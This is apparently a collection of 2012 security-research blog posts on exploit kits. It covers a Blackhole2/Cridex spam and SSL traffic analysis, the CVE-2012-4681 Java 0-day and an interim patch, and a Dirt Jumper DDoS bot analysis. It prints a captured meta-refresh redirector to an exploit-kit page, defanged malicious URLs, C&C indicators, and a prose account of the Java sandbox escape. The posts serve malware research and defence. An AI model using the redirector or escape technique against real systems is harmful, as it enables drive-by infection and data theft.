Common Exploit Kits 2012 Poster

Hurricane Sandy, Jersey Shore
Src. Twitter Oct 28,2012
 author unknown

Update May 2013  Download any size of 2012 poster  - now for free here

8900 x 6000 px = up to 40" x 60"      (101 x 150 cm) 

5340 x 3600 px = up to 24" x 35.6"   (~ 61 x 91 cm) 

3578 x 2415 px = up to 16" x 24"      (~ 40 x 60 cm) 

1720 x 1200 px = up to 11"x14"        (~ 20 x 30 cm) 

For current information and table listing of exploit packs please visit 

Contagio: Overview of exploit packs

-----------------------------------------------------------------------------------------
The poster includes most common exploit packs of 2012. The poster will be updated and new issues posted in the future.

See Staten Island hurricane aftermath photos here:

Time.com   NY Times

If you wish to use your own printing services and/or need multiple copies, you can request the poster file ( jpg 8900 x 6000 px printable to at least  60"x40" or 152cm x 101cm)  in exchange for $25 minimum donation to the Hurricane Relief  or a charity of your choice. Email us (admin at deependresearch.org) a receipt or proof of a donation done in the past month  (you can partially hide/obscure your personal info, if needed) and we will email you the file.


You can request the poster file (see sizes below)  in exchange for donation to the Hurricane Relief  or a charity of your choice. Email us (admin at deependresearch.org) a receipt of a donation made in the past month (you can partially hide/obscure your personal info, if needed) and we will send you the file.
8900 x 6000 px = up to 40" x 60"      (101 x 150 cm) = $25 Donate here or charity of your choice
5340 x 3600 px = up to 24" x 35.6"   (~ 61 x 91 cm) = $15 Donate here or charity of your choice
3578 x 2415 px = up to 16" x 24"      (~ 40 x 60 cm) = $10 Donate here or charity of your choice
1720 x 1200 px = up to 11"x14"        (~ 20 x 30 cm) = Free Download

Blackhole & Cridex: Season 2 Episode 1: Intuit Spam & SSL traffic analysis

The other day, I received another spam email, this time supposedly from Intuit. Since I know that Blackhole2 is now directing to Bugat/Feodo/Cridex banking malware, I wanted to look more closely and see what might be new.  The "Intuit" email looked like this, and similar text context is shown below:


Dear xxxxxxx,

 Great News! Your order, QG673260, was shipped today (see details below) and will complete shortly. We hope that you will see that it suit your needs. If you requested multiple products, we may ship them in separate boxes (at no additional cost to you) to ensure the fastest possible delivery. 

We will also inform you with the ability to track your parcels via the instructions below.

Thank you for your order.

ORDER DETAILSOrder #: QG673260Order Date: Sep 25, 2012

Item(s) Requested In Your Shipment

Shipping Date: October, 1 2012Ship Method: TNT
Estimated Delivery Date: October, 3 2012 - October 05, 2012

Tracking No.: 8178101777788272988726

The prolific Cutwail spambot sent the spam email with a lure URL of:

hxxp://ladavaz.info/components/com_ag_google_analytics2/croconfrm.html

This URL path construction has been used as a redirector to Blackhole exploit sites carried by the popular LinkedIn spam runs, as well as others. For example the following URLs have been used by Blackhole:

/components/com_ag_google_analytics2/croconfrm.html

/components/com_ag_google_analytics2/fdicsecup.html

/components/com_ag_google_analytics2/itordernote.html

/components/com_ag_google_analytics2/Link.html

/components/com_ag_google_analytics2/supreqfdic.html

My downloaded "croconfrm.html" contained the following:

</script><noscript><meta http-equiv="refresh" content="0; url=hxxp://art-london.net/detects/stones-instruction_think.php"></noscript>

Note: If you attempt to simply wget the php file from a Blackhole2 kit, you will most likely just receive back a harmless dummy file.  BH2 needs a "referer", and only one request per IP address. In this case, a simple fetch of the php yielded this:

Note the difference when the link is followed via a fresh IP address, and tracked via an intercepting proxy:

I'll make this file available for download at the bottom of the post and leave the decoding as an exercise for the reader. In the meantime, the BH2 kit served up two exploits for me. The first was a PDF file with an MD5 hash of  2d0932026e5a4791ed6fac44df22f91c and vicheck.ca report seen here.   The second file was a PE32 executable with MD5 hash value of 06c6544f554ea892e86b6c2cb6a1700c and the VirusTotal report here.

PDF file dropped from 'art-london.net'

executable file dropped from 'art-london.net'

Once my test system became infected, it did a DNS query for droppinleverpro.ru, which was offline. It then queried for tuningferrarisglamour.ru which succesfully resolved to 146.185.220.176

At that point, my infected host established an HTTPS connection with: hxxps://tuningferrarisglamour.ru/savestats/

DNS queries and beginning of SSL session.

Examining the traffic via Wireshark or similar will yield no joy as the traffic is SSL encrypted. However by using an intercepting proxy as I described in my post "Decoding malware SSL using Burp proxy", I was able to examine the traffic between my infected host and tuningferrarisglamour.ru.  The first response off the server was very interesting as it contained a large number of references to financial institutions and login URLs, as well as injection code.  This is a much larger list than I saw in my last Cridex analysis, plus the injection code was very comprehensive and again covered a large number of institutions. A snippet of the decoded SSL session is seen below:

SSL Server response

There were several additional POST requests to tuningferrarisglamour.ru where it appears that my host's process lists, cookies, bookmarks, form history, and shared objects were sent to the remote server.

A snippet of this decoded traffic is seen below:

SSL Traffic indicating POST of shared objects

 At this point, a message window popped up on the host asking if "I was sure I wanted to navigate away from this page". Selecting "Yes" took me to legitimate Google.com.

Volatility

 I suspended my infected virtual machine soon after the SSL traffic to tuningferrarisglamour.ru appeared to pause and decided to see what some quick Volatility analysis would yield.

Running 'psscan' against the suspended memory image yielded the output below:

'psscan' output

 Note that there are several unusual processes, notably:

PID 1100 - KB00647877.exe - Terminated
PID 1800 - KB00647877.exe - Terminated
PID 1472 - POS4C.tmp - Terminated
PID 1220 - cmd.exe - Terminated

While 'cmd.exe' is not typically considered an unusual process, note the creation and exit times of this instance are identical, also the parent ID of this process is 1472, "POS4C.tmp".
Examining the network connections via 'connscan', we see the following:

Connections to remote hosts

 Note that PID 1492, 'explorer.exe' showed an established connection to 146.185.220.176, which is what we noted earlier as being the IP address of tuningferrarisglamour.ru.  PID 1492 also showed a connection to 4.27.18.126, which courtesy of Internet Systems Consortium (ISC) Passive DNS, is seen to be associated with the following domain names:

freestreams-cdn.alldigital.net.rncdn1.com
bc01.ajnm.me.c.itmdb.net
bc04.ajnm.me.c.itmdb.net
bc05.ajnm.me.c.itmdb.net
bc18.ajnm.me.c.itmdb.net
bc19.ajnm.me.c.itmdb.net
bc21.ajnm.me.c.itmdb.net
blogs.aljazeera.com.c.itmdb.net
l3.vip.g.xgslb.net
www.nps.gov.c.footprint6.net
www.usgs.gov.c.footprint6.net
fp4.www.usgs.gov.c.footprint6.net

  I next dumped the VAD segments of PID 1492, 'explorer.exe' in order to examine anything associated with these domains and banking URLs.  Running 'strings' on the dumped VAD segments and searching for 'tuningferrarisglamour.ru' allowed me to locate this string in "explorer.exe.2228418.0x00090000-0x0018ffff.dmp".  I then ran 'strings' on that entire segment and was able to see the same banking URLS and injection scripts that I noted in the SSL stream.

Strings extracted from VAD segment of 'explorer.exe'

Strings extracted from VAD segment of 'explorer.exe'

It's also interesting to learn if these domains appear in any other processes.  The 'yarascan' plugin is excellent for string searching when you know what you are looking for. From the Volatility command reference:  "This plugin can help you locate any sequence of bytes (like assembly instructions with wild cards), regular expressions, ANSI strings, or Unicode strings in user mode or kernel memory."

Running the 'yarascan' plugin against this memory image indicates that the "droppinleverpro.ru" domain string is also seen in PID 1056, 'svchost.exe'.  I then dumped the VAD segments of this process for further analysis.

'yarascan' indicating string hit in 'svchost.exe'

 Domains and IP addresses

 There were a number of domains and IP addresses seen in this analysis. Again, courtesy of Internet Systems Consortium (ISC), trusty 'whois', and some other tools:

ladavaz.info
Domain ID:D45959608-LRMS
Domain Name:LADAVAZ.INFO
Created On:28-Mar-2012 20:08:39 UTC
Last Updated On:27-May-2012 20:39:14 UTC
Expiration Date:28-Mar-2013 20:08:39 UTC
Sponsoring Registrar:GoDaddy.com LLC (R171-LRMS
Name Server:NS1.EQVIA.COM
Name Server:NS2.EQVIA.COM
Name Server:MALINAKM.COM.UA

first seen 2012-10-01 14:58:21 -0000
last seen 2012-10-03 00:13:02 -0000
ladavaz.info. A 192.102.6.55

----------------------------------------

art-london.net
Domain Name: ART-LONDON.NET
Registrar: ACTIVE REGISTRAR, INC.
Whois Server: whois.activeregistrar.com
Referral URL: http://www.activeregistrar.com
Name Server: NS1.ZIKULA-SUPPORT.COM
Name Server: NS2.ZIKULA-SUPPORT.COM
Status: ok
Updated Date: 27-sep-2012
Creation Date: 17-sep-2012
Expiration Date: 17-sep-2013

first seen 2012-10-01 13:54:08 -0000
last seen 2012-10-01 17:34:18 -0000
art-london.net. A 203.91.113.6

first seen 2012-10-01 17:35:22 -0000
last seen 2012-10-01 21:48:53 -0000
art-london.net. A 195.198.124.60

art-london.net was registered with an email address of 'windowclouse@hotmail.com'. Other domains registered with that address, and their detected activity include:

blackiceword.com - Zeus name server
compandclub.com - Zeus name server
penel-opessong.com
webgrafismo.net - blackhole exploit kit
demedes.net - Zeus name server
toppaudio.com - Zeus name server

----------------------------------------

droppinleverpro.ru
domain:        DROPPINLEVERPRO.RU
nserver:       ns1.2ns.info.
nserver:       ns2.2ns.info.
nserver:       ns3.2ns.info.
nserver:       ns4.2ns.info.
state:         REGISTERED, DELEGATED, VERIFIED
registrar:     REGRU-REG-RIPN
created:       2012.09.07

first seen 2012-09-16 16:35:07 -0000
last seen 2012-09-29 11:20:07 -0000
droppinleverpro.ru. A 146.185.220.35

----------------------------------------

tuningferrarisglamour.ru
domain:        TUNINGFERRARISGLAMOUR.RU
nserver:       ns1.2ns.info.
nserver:       ns2.2ns.info.
nserver:       ns3.2ns.info.
nserver:       ns4.2ns.info.
state:         REGISTERED, DELEGATED, VERIFIED
registrar:     REGRU-REG-RIPN
created:       2012.09.29

first seen 2012-09-29 15:33:13 -0000
last seen 2012-10-02 05:56:28 -0000
tuningferrarisglamour.ru. A 146.185.220.176

----------------------------------------

Also of note were domains seen in the webinject code or in the sections of the VAD segments. These domains were:

moogparadise.net
Domain Name: MOOGPARADISE.NET
Registrar: INTERNET.BS CORP.
Whois Server: whois.internet.bs
Referral URL: http://www.internet.bs
Name Server: NS-CANADA.TOPDNS.COM
Name Server: NS-UK.TOPDNS.COM
Name Server: NS-USA.TOPDNS.COM
Status: clientTransferProhibited
Updated Date: 07-sep-2012
Creation Date: 04-sep-2012
Expiration Date: 04-sep-2013

first seen 2012-09-10 16:41:38 -0000
last seen 2012-10-02 01:31:42 -0000
moogparadise.net. A 91.220.35.69
moogparadise.net. NS ns-uk.topdns.com.
moogparadise.net. NS ns-usa.topdns.com.
moogparadise.net. NS ns-canada.topdns.com.
moogparadise.net. NS ns1.silentdns.com.

----------------------------------------

compositiontantalized.net
Domain Name: COMPOSITIONTANTALIZED.NET
Registrar: INTERNET.BS CORP.
Whois Server: whois.internet.bs
Referral URL: http://www.internet.bs
Name Server: NS1.BLACKHULK.BIZ
Name Server: NS2.BLACKHULK.BIZ
Status: clientTransferProhibited
Updated Date: 14-sep-2012
Creation Date: 14-sep-2012

first seen 2012-10-01 16:32:22 -0000
last seen 2012-10-01 21:10:23 -0000
compositiontantalized.net. A 146.185.220.176
compositiontantalized.net. NS ns1.monkeydns.net.
compositiontantalized.net. NS ns2.monkeydns.net.

----------------------------------------

192.102.6.55 - HOSTVDS-NET - TOV HOST VDS - UA
203.91.113.6 - G-Mobile - G-Mobile, Baga-Toiruu 3/9, Chingeltei district-1 - MN
195.198.124.60 - SE-SMMIAB - Skand Meteorologi och Miljoinstr - SE
146.185.220.35 - mdsru-net - MDS LTD - RU
146.185.220.176 - mdsru-net -MDS LTD - RU
91.220.35.69 - ZAMANHOST-NET - Rusnak Vasil Viktorvich - RO

 There is much more that can be analyzed in the both the memory image and in the dropped files. Correlation of these findings with other similar spam campaigns would also be interesting. The primary goal of this post was to examine the evolution of this banking malware, especially in light of the prolific Blackhole v2 exploit kit.  For obvious reasons, I won't be posting all the webinject URLs, nor will I make the RAM dump publicly available. Notification processes are underway to the affected parties.  I will provide any of the above discussed items in their entirety to qualified institutions.   Feel free to email me if you want further information on anything discussed here.
-----------------------------------------------------------------------------------------------------------
The following link goes to a ZIP file containing several files associated with this post.

• stones-instruction_think.php
• Packet capture of infected host execution run.
• Initial lure - croconfrm.html

A partial pack of Blackhole 2 is available for researchers for download via Contagio. The pack came from a server with open directories.

------------------------------------------------------------------------------------------------------------------------------

cridex_ssl.zip

CVE-2012-4681 Java 7 0-Day vulnerability analysis

Update Aug.30, 2012
Oracle issued update 7 (7u7), which  fixed the vulnerability. 

Update: Aug. 28, 2012.  Rapid 7 / Metasploit released their module  and  we get a lot of  questions related to it from people who wish to compare.  See below the original exploit source, to be run from the command line with a security manager enabled, and it will print the contents of the C:\ root directory.  

ladyilonwick.wordpress.com

Considering that Rapid 7 posted a working exploit and addition to the exploit packs is imminent (Attackers Pounce on Zero-Day Java Exploit by Brian Krebs), plus other analysis articles are being published such as New Java 0day exploited in the wild  -by Alienvault, we decided that witholding details of the exploit will not offer additional protection but only hinder development of protection and signatures.

As we mentioned earlier, we contacted Michael Schierl, the Java expert who discovered a number of Java vulnerabilities and asked him to have a look. He sent back his detailed analysis, exploit source, the interim patch with the source code of the patched class.

Update: Aug. 28, 2012. 
CVE-2012-4681
Oracle Java 7 Update 6, and possibly other versions, allows remote attackers to execute arbitrary code via a crafted applet, as exploited in the wild in August 2012 using Gondzz.class and Gondvv.class.

Patch request:  

At this point the patch is by request is not to preserve the code but limit it to IT administrators and developers who can test and decide if they want to deploy. We do not want to push/offer it to 3 billion end java users, it wasn't tested in all the possible scenarios and systems.

• Interim patch with the source code of the patched class. See the Readme of the patch in the previous post (thanks to Michael Schierl).  

Email from your company email address to admin <at> deependresearch.org   

Additionally, you can request:

• Commented and stripped-down version of the exploit source, to be run from the command line with a security manager enabled, and it will print the contents of the C:\ root directory (thanks to Michael Schierl)

• Original 0-day attack HTML page with javascript, Java applet, downloaded Poison Ivy RAT, and pcap.

Email from your company email address to admin <at> deependresearch.org  and explain the planned use, please.

Analysis 

The Gondvv class decompiles cleanly, and that contained all the
interesting parts.
The real vulnerability seems to be inside the new Java7 class
com.sun.beans.finder.ClassFinder,

http://www.docjar.com/docs/api/com/sun/beans/finder/ClassFinder.html

which seems to make it possible for untrusted code to get access to
classes in restricted packages (i. e. packages that are part of the
security implementation itself and where usually untrusted code cannot
get either access or call it).
At the beginning, the exploit uses that ClassFinder class to get a
reference to the sun.awt.SunToolkit class (sun.* is a restricted package).

http://www.docjar.com/docs/api/sun/awt/SunToolkit.html

The rest of the exploit is "only" using that reference to call the
GetField method, which can be used to get access to private fields
(which should not be a problem as the class is in a restricted package),
to get access to a field that stores the permissions for running a
java.beans.Statement.

http://www.docjar.com/html/api/sun/awt/SunToolkit.java.html#301

A Statement is created that disables the security manager (by default
with permissions of the untrusted code). But before calling the
statement, the permissions stored in that field we just got access to
are overwritten with permissions that allow running all code, and the
statement can be called now and disable the security manager for us. At
this point, no security manager is left, and the applet can do anything
Java can.

This method of abusing restricted package permissions is new to me (it
does not work in Java 6 either as GetField was private there); but it is
not unique - there are several ways you can use to get out of the
sandbox if you have access to restricted packages - usually they need a
bit more code though.

What makes the code a bit more complex is the fact, that the bytecode
verifier also tries to verify if you are accessing restricted packages,
therefore all access to restricted packages has to be done indirectly
(that is also good for obfuscation, but here needed to make the exploit
work, too).  ~ Michael Schierl

Update: Aug 28, 2012
Download it 

by Michael Schierl

Read Part I  Java 7 0-Day vulnerability information and mitigation.

More details :
Aug. 28 More detailed analysis > "Immunity. Java 0day analysis (CVE-2012-4681) by Esteban"
Aug. 28 Java 0-Day Using Latest Dadong’s JS Obfuscator by Kahu Security
Aug. 28 US CERT: We are currently unaware of a practical solution to this problem. Disable Java in your browser

CLICK HERE TO SEE IF YOU ARE VULNERABLE (Zscaler) 

The Zscaler tool checks the version of Java used by your browser. If it is below 1.7_7, you need to update it from Java.com. If it is 1.7_ 7 already, you are safe (for now). As of Aug 31, 2012, the Zscaler checker prints "vulnerable for 0-day" for a ALL versions above 1.6, they just need to update the tool. In reality, if you have the latest version of Java, you are not vulnerable to this exploit.
In general, you don't need Java plug-ins in browser, best to keep it turned off. You can still use Java desktop apps.


Andre' M. DiMino and Mila Parkour

Java 7 0-Day vulnerability information and mitigation.

Update Aug.30, 2012

Oracle issued update 7 (7u7), which  fixed the vulnerability

  

img.kids.discovery.com

The cat is out of the bag. There is a 0-day out there currently being used in targeted attacks.  The number of these attacks has been relatively low, but it is likely to increase due to the fact that this is a fast and reliable exploit that can be used in drive-by attacks and all kinds of links in emails. Interestingly, Mark Wuergler mentioned on August 10 that VulnDisco SA CANVAS exploit pack now has a new Java 0-day. It makes you wonder if it is the same exploit that leaked from, or was found in the wild and then added to the CANVAS pack. Or if it is totally unrelated and there are two 0-day exploits now.

The purpose of this post is not to provide the vulnerability analysis or samples, but to offer additional information that may help  prevent infections on some targeted networks.   We all know what kind of damage Java vulnerabilities can cause if used in drive by exploits or in exploit packs. We believe that revealing technical vulnerability details in the form of a detailed  technical analysis before the patch is dangerous, and releasing working exploits before the patch is vain and irresponsible.

The Oracle patch cycle is 4 months (middle of February, June, October) with bugfixes 2 months after the patch. The next patch day is October 16 - almost two months away. Oracle almost never issue out-of-cycle patches but hopefully they will do consider it serious enough to do it this time.

We have been in contact with Michael Schierl,  the Java expert who discovered a number of Java vulnerabilities, including recent the Java Rhino CVE-2011-3544 / ZDI-11-305 and  CVE-2012-1723. We asked him to have a look at this last exploit . Michael sent his detailed analysis, which we will publish in the nearest future and a patch , which we offer on a per request basis today.

 The reason for  limited release is the fact that this patch can be reversed, thus making the job of exploit creation easier, which certainly is not our goal.
Update Aug.29
At this point the patch is by request is not to preserve the code but limit it to IT administrators and developers who can test and decide if they want to deploy. We do not want to push/offer it to 3 billion end Java users, it wasn't tested in all the possible scenarios and systems.

Atif Mushtaq from FireEye covered the payload part of the exploit, which is helpful and something to look out for if you are protecting your network or your customers. We should note that attackers are not limited to .net addresses and already used other domains and  IP addresses.

The malicious executable name varies and it the future may get replaced by any kind of payload. At this point, it appears to be Poison Ivy RAT variant that is likely to be detected by many antivirus vendors.

More about Poison Ivy
Alienvault Nmap Script to detect Poison Ivy Clients
Will Brown: Detecting Poison Ivy 

Details about the exploited vulnerability, mitigation factors and tips.

1. The javascript in index.html is heavily obfuscated.
2. This vulnerability affects Java 7 (1.7) Update 0 to 6. Does NOT affect Java 6 and below.
3. It works in all common browsers versions of Internet Explorer, Firefox, and Opera. Does NOT work in Chrome. (Update: The original exploit we tested did not affect Chrome. We did not test Metasploit but reports are that their module works for all browsers. Disable java support in your browser)
3. It does not crash browsers (which does NOT mean it does not work!), the landing page looks like a blank page (for the original exploit only. Future variants may be different), sometimes one may see a flash of a rotating Java logo and the word "Loading"

5. The malicious Java applet is downloaded like you see on the picture below. At this point, if your system is not vulnerable or is patched, the attack stops. From the user perspective, it is impossible to tell if the attack was successful or not.
6. If the exploit is successful,  it downloads and executes a malicious binary, which calls to another IP address/domain  hello.icon.pk / 223.25.233.244

img.1

7. Although older Java is not vulnerable to this attack, downgrading is not recommended due to many other vulnerabilities in the  older versions of Java.
8. Disable Java in your browser, apply the patch (see below), or use Chrome.

Malware behavior and indicators
Payload: : hi.exe  Size: 16896
MD5:  4A55BF1448262BF71707EEF7FC168F7D (Virustotal 26/42)

1. Legitimate Portable Media Serial Number Service MsPMSNSv.dll is deleted from C\WINDOWS\system32 (Virustotal 0/42)
2. Malicious mspmsnsv.dll is copied to C\WINDOWS\system32 (Virustotal 21/42)
3.  "Portable Media Serial Number Service"  (WmdmPmSN in the registry)  is running.

Update Aug 30, 2012 
The vulnerability has been patched today. Please see the note on the top of the post.

Patch Readme:

Java 7 Zero Day Buster
by Michael 'mihi' Schierl, <schierlm at gmx.de>, http://schierlm.users.sourceforge.net/
To use, locate the (jre/)lib/security folder in your JDK/JRE (there should be a
file called cacerts in it), create a folder (jre/)lib/endorsed next to it and
place this Jar inside it.

The Java VM will load all Jar files in this folder and replace any of its own runtime classes (from rt.jar) by .class files inside of these Jars. Note that this feature is not officially supported by Sun/Oracle except for updating XML parser libraries, but it seems to work.

Use this Jar only for Java 7 Update 0 to 6, as other versions may have a different version of the patched class and break horribly. The patch seems to properly block the access vector used by the 0-day circulating at the moment, but I take no responsibility that it fixes all ways this bug can be exploited, nor that it will not break any other existing Java programs.

In other words, create a folder under lib in your Java 7 program folder, name it endorsed, copy the patch jar in it and restart the browser(s).

We tested and it works well  - the applet gets downloaded but does not lead to download and execution of the malicious binary. See the pictures below and compare with the download sequence during the successful exploit (img 1.)

 Interim patch results  

Patched Java 7 with Internet Explorer. No malicious exe download.

Patched Java 7 with Firefox. No malicious exe download.

Java permission request on Chrome

 

Win XP sshot. No malicious exe download on Chrome (tested on XP and Windows 7)

Rapid7 / Metasploit indicate that they tested their module on Chrome on Windows XP. In our experience, if Java is allowed to run like you see on the picture above, the malicious binary does not get downloaded. We tested several times with the same results - Java runs but no contact with the second server and binary download. Testing on the same VM with Internet Explorer or Firefox immediately causes infection. Don't know, maybe Rapid 7 'improved' the exploit and you can send them your thanks if you wish,  but the original exploit does not work on Chrome.

Requesting the patch:

This is not an official patch and had limited testing. In general, it is best to disable Java in your browser or use Chrome.
 If you are in the environment where you must have Java with Internet Explorer, Firefox and Opera, email us at admin <at> deependresearch.org  from your company address with a brief explanation of the planned use and we will send you the download link.

If you are in the exploit making business,'whitehat' or not, please do not bother.
If you are a home user and/or do not need  use it to protect users, customers, and networks, please use the workarounds.

Feel free to contact Oracle and ask them about their patch cycles. You can also contact Rapid 7 and ask if they ever heard of  "Social responsibility" .

We want to thank Michael 'mihi' Schierl for his analysis and patch development and anonymous for the sample donation.

CLICK HERE TO SEE IF YOU ARE VULNERABLE (Zscaler) 

The Zscaler tool checks the version of Java used by your browser. If it is below 1.7_7, you need to update it from Java.com. If it is 1.7_ 7 already, you are safe (for now). As of Aug 31, 2012, the Zscaler checker prints "vulnerable for 0-day" for a ALL versions above 1.6, they just need to update the tool. In reality, if you have the latest version of Java, you are not vulnerable to this exploit.
In general, you don't need Java plug-ins in browser, best to keep it turned off. You can still use Java desktop apps.


Continue to Part II  Java 7 0-Day vulnerability analysis 

Andre' M. DiMino and Mila Parkour

Yara Signature Exchange Google Group

Yara-Exchange Google Group (by invitation only)
https://groups.google.com/d/forum/yaraexchange



Please read the Yara Exchange Group rules below and if you are interested, request an invitation by sending an email from your organization's email account to to Yara at deependresearch.org (currently moderated by Andre' M. DiMino)

Please provide the following information:

• Your First & Last Name (may not be a third party contact)
• Your Organization and Address
• Contact information for verification.
  
  Once your membership is confirmed we will need your
• Gmail Email address in order to join Google group. 
• Github ID (create at Github.com if you don't have) 
• Virustotal.com ID (create at virustotal.com if you don't have) - optional but recommended

You can send this information in the initial application email.

In short, we need name, work and Gmail email addresses, organization, and full contact info (City, Country). The requirement to use your work email for the initial request is mandated by the fact that not all indicators can be publicly shared.

By registration, you agree that your group access will be used only by the person registered. No other distribution or public disclosure of this group's signatures is permitted.  Although signatures shared will not be posted in public, please make sure that all information you send to this group comes from your own research, open sources, or you have permission (from other groups / researchers or your employer) to share it with the group.

We are planning to have both crimeware and APT yara signatures. We can create an upload/malware hosting if necessary.


Read more about Yara here
http://code.google.com/p/yara-project/
and a good explanation is here by Lenny Zeltser 


Yara Exchange Group Rules

1. DeepEnd Research is an all volunteer, non-commercial organization that derives no financial benefit from Yara signatures or anything else developed by the group. Our goal is to build a community of researchers with a mutual interest in developing, improving, and sharing Yara signatures.

2. It's expected and required that everyone will contribute to the list. "Yara Exchange" isn't there to just pull signatures or watch the conversations and not contribute anything back. While some initial silence is understood until our momentum builds, extended lack of participation won't be accepted.
Contributing to the list can come in many forms including new signatures, improvements on existing signatures, tool integration using yara, analysis and classification techniques using yara, etc. If you cannot share any signatures you develop or do not use yara often enough to contribute, please do not apply. 

3. Inactive members, or those that don't tangibly contribute to the signature development or sharing will be pinged to check on their status and removed after 3 months.

4. A group roster will be distributed to group members on a regular basis. We believe that the roster will let us have more trust in each other, and a better understanding of who you are sharing your signatures with. The roster will consist of the list members and their organizations (Google group nick+real name+org/company). No email addresses , titles, or other personal information will be included. DeepEnd Research will never use your information for reasons not specified above.

5
a. Group access is granted only to the person registered. If you have colleagues and friends that you feel will be a good part of this group, have them request their own access.

b. No sharing, distribution, or public disclosure of this group's signatures, analysis, or work product outside of the member's organization or "Yara Exchange" is permitted. Additionally, no signatures, analysis, or work product from "Yara Exchange" can be used commercially, or for other financial benefit, either directly or indirectly.
Usage explanation and examples:
-You can use yara signatures produced by the group for operations at your company / organization  and/or for incident response at your user / client / customer site.
-You may not incorporate signatures shared by group members into any products / appliances / subscriptions / reports you sell or publications you produce.
-You maintain ownership of signatures you create and submit to the group and you can use / sell them in any way  you wish.
If there are any questions or uncertainties about external use of "Yara Exchange" information, please ask!

c. Please ensure that all information you share with "Yara Exchange" comes from your own research, open sources, or with permission.

We hope these rules will prevent group stagnation and taking advantage of a few active participants by many idle members and companies. We look forward to working with you and hope this group develops and thrives. 

Dirt Jumper DDoS Bot - New versions, New targets

By Andre' M. DiMino & Mila Parkour

End-2012.com

I recently encountered a malware sample that when sandboxed, exhibited a great deal of DDoS-like activity toward a large number of URLs. When I looked at the network traffic a bit more closely, it reminded me of the Dirt Jumper DDoS bot that I read about in an excellent blog post by Curt Wilson of Arbor Networks. This particular version of Dirt Jumper is attacking a variety of organizations and companies in many different countries. The MD5 of this sample is f29b1089b3f5e076d4d4bd2a3a02d3cb using the domain 'asdaddddaaaa.com' for its Command and Control (C&C). Searching for a similar network traffic pattern yielded a number of sandbox analysis pages containing several more C&C servers and DDoS victims. This research also highlighted a lack of proper detection of this bot variant. Many antivirus companies change the name of this bot across variants, detecting it as zbot, pinkslipbot, Kryptic and others. Microsoft at least consistently detects Dirt Jumper as Dishigy.B,  (Dishigy.A is a non-related keylogger with binary in the same directory) and this allowed us to find more examples and prompted further research.  Dirt Jumper is proving to be as popular as Darkness/Optima bot we described earlier this year and is gaining more buyers in underground market due to easy implementation and powerful attack methods.

---

Table of Contents

September version control panel. Shopworld.biz

1. Binary analysis
   MD5 F29B1089B3F5E076D4D4BD2A3A02D3CB
2. Memory analysis using Volatity 2.0MD5 F29B1089B3F5E076D4D4BD2A3A02D3CB
3. Command & Control servers
   MD5 F29B1089B3F5E076D4D4BD2A3A02D3CB
4. Dirt Jumper current versions and general information
5. Review of other samples, command and control servers and DDoS actor groups

---

1. Binary analysis and comparison
MD5 F29B1089B3F5E076D4D4BD2A3A02D3CB 

There are two ways that Dirt Jumper gets installed on a system - one, as a service,  and two, by adding the malicious binary name to the "shell=" line in the registry under HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\current version\Winlogon. Installation as a service is more common and this is the default method for versions 1-3 and v. September 2011. There are some private and custom versions of Dirt Jumper using the Explorer shell method.

INSTALLATION TYPE 1 - 
REGISTRY - WINLOGON -"SHELL=" MODIFICATION

As seen in Dirt Jumper Caught in the Act - Arbor Networks

Size: 204800
MD5:  F7C0314FB0FBD52AF9D4D721B2C897A2

Company Name Comma Stone

File Description Signs Blast Egypt Avery

File Version InternalName Wolff Diets Cowboy Mig

Legal Copyright Copyright Sobs Sift 1997-2011

Original Filename Baby.exe

Product Name Picks Air

Product Version VarFileInfo

File properties

The following system changes may indicated the presence of this bot

• The presence of the following files:
  

  • <system folder>\svdhalp.exe
  • <system folder>\svdhalp.exe.ini
  • <Windir>\syskey2i.drv   - contains nothing but a 15 digit bot id number

  In subkey: HKCU\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon 
  Sets value: "Shell" With data: "explorer.exe, svdhalp.exe 
  
  
  
  

INSTALLATION TYPE 2 - 
AS A SERVICE 

Size: 276480   
MD5 F29B1089B3F5E076D4D4BD2A3A02D3CB

CompanyName Ohokls Vwivanl

File Description Ohokls Uanvbnmsel  Qukxwdrb

File Version 25, 34, 66, 19 InternalName Ohokls

Legal Copyright Copyright Ohokls Vwivanl 1997-2011

Original Filename Ohokls.exe Product Name Ohokls Uanvbnmsel Qukxwdrb VarFileInfo

File properties

The following system changes may indicated the presence of this bot

• The presence of the following files:
  

  • <system folder>\drivers\svgtook.exe File name varies, often starting with sv (e.g.svflooje.exe,svcgoow.exe)
  • <Windir>\keys.ini - contains nothing but a 15 digit bot id number
• The presence of the registry modifications such as the following examples (name of the file may vary)
  HKLM\SYSTEM\CurrentControlSet\Services\svgtook HKLM\SYSTEM\CurrentControlSet\Services\svgtook\Security HKLM\SYSTEM\CurrentControlSet\Services\svgtook\Enum The traffic pattern:

Traffic components

Stream Content

As can be seen below, the two binaries show slight modifications of the same bot.

  

Comparison of two Dirt Jumper binaries

The current IDS signatures for Dirt Jumper can be modified to match this additional version  - The bot ID seems to be the current most common denominator, while C&C URLs and bot commands somewhat vary.
 

Emerging threats signature as proposed by Kevin Ross

---

 
2. Memory Analysis using Volatility 2.0 
MD5 F29B1089B3F5E076D4D4BD2A3A02D3CB

I've now routinely adopted the use of Volatility as a key tool in any malware analysis that I do. Volatility is described as "a completely open collection of tools.....for the extraction of digital artifacts from volatile memory (RAM) samples".  Volatility's ease of use, especially in obtaining basic forensic information that may shed a quick light on the analyzed specimen, makes it an indispensible tool.  Version 2.1Alpha was recently released, so I used this to analyze Dirt Jumper binary f29b1089b3f5e076d4d4bd2a3a02d3cb.

I executed the malware in my sandbox lab under VMWare Version 7. One of the things I like about VMWare is that you can easily obtain a memory snapshot by suspending the virtual machine, and copying the .vmem file to your analysis directory. That .vmem file is an exact representation of the virtual machine's memory image. If you are not using VMWare, you can also easily snap memory via the MoonSols Windows Memory Toolkit.

The first step in any analysis using Volatility is to get information about the image. This is done via the 'imageinfo' command as seen below.

Volatility 'imageinfo' command

Notice that the suggested profile is "WinXPSP3x86". We will specify this profile for all subsequent Volatility usage by using the '--profile=' option when invoking Volatility..

Now we wish to list all the active processes. This is done with the "pslist" command. Note the use of the "-P" switch to tell Volatility to display the physical memory offset rather than the virtual offset.

Volatility 'pslist' command

The timestamp indicates the date/time that the process started. Note that all the processes except for 'svgtook.exe' started within a few seconds of 00:12. 'svgtook.exe' has a Process ID (PID) of 1900 and began at 10/05/2011 at 00:14. It should also be noted that in this sandbox run, I initiated the malware execution immediately after booting. Note also that there is no browser process or anything else that should initiate an Internet connection.

I next run the Volatility 'connections' command to see all the active network connections. Note that the large number of remote address connections are all associated with PID 1900.

